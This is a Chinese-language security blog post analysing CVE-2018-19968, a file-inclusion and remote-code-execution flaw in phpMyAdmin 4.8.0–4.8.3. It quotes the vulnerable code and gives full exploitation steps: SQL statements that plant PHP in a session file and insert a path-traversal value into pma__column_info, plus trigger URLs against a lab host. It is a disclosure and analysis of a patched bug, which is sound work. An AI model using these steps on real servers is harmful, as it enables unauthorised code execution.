• 首页
  • 渗透
  • 折腾
  • 转载
  • 关于Me
  • 榜上有名
  • 文章存档
  • 友情链接

不妨看看这里

会员面板

Base64 Image

(CVE-2018-19968)phpMyAdmin 4.8.0~4.8.3 任意文件包含/远程代码执行漏洞

  • Mr.Wu
  • 2018-12-18
  • 0
2018年12月07日 phpMyAdmin 发布安全公告PMASA-2018-6修复了一个由Transformation特性引起的本地文件读取漏洞,影响4.8.0~4.8.3版本,CVE编号CVE-2018-19968。
Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。 通常情况下Transformation的规则存储在每个数据库的pma__column_info表中,而在phpMyAdmin 4.8.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。 了解更多关于Transformations的内容:Transformations - phpMyAdmin 5.0.0-dev documentation VulnSpy 已为大家提供在线 phpMyAdmin 环境地址:https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1T点击又上角的STAR TO HACK按钮可进行在线测试。 漏洞细节来自:PHPMyAdmin multiple vulnerabilities - Sec Team Blog 漏洞细节 在文件tbl_replace.php中:
$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
$filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
if (is_file($filename)) {
   include_once $filename;
   $classname = Transformations::getClassName($filename);
   /** @var IOTransformationsPlugin $transformation_plugin */
   $transformation_plugin = new $classname();
   $transformation_options = Transformations::getOptions(
      $mime_map[$column_name]['input_transformation_options']
   );
   $current_value = $transformation_plugin->applyTransformation(
      $current_value, $transformation_options
   );
   // check if transformation was successful or not
   // and accordingly set error messages & insert_fail
   if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
      $insert_fail = true;
      $row_skipped = true;
      $insert_errors[] = sprintf(
         __('Row: %1$s, Column: %2$s, Error: %3$s'),
         $rownumber, $column_name,
         $transformation_plugin->getError()
      );
   }
}
}
拼接到$filename的变量$mime_map[$column_name]['input_transformation']来自于数据表pma__column_info中的input_transformation字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞。 漏洞利用 创建数据库,并将PHP代码写入SESSION文件中
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<!--?php phpinfo(); ?-->';
访问http://pma.vsplate.me/chk_rel.php?fixall_pmadb=1&db=foo在数据库foo中生成phpMyAdmin的配置表. 将篡改后的Transformation数据插入表pma__columninfo中: 将sess中的替换成你的会话ID,即COOKIE中phpMyAdmin的值
INSERT INTO pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'../../../../../../../../tmp/sess_***','plop';
访问http://pma.vsplate.me/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1如果利用成功将会自动包含含有恶意代码的SESSION文件
© 2025 MrWu
Theme by Wing-child
  • {{ item.name }}
  • {{ item.name }}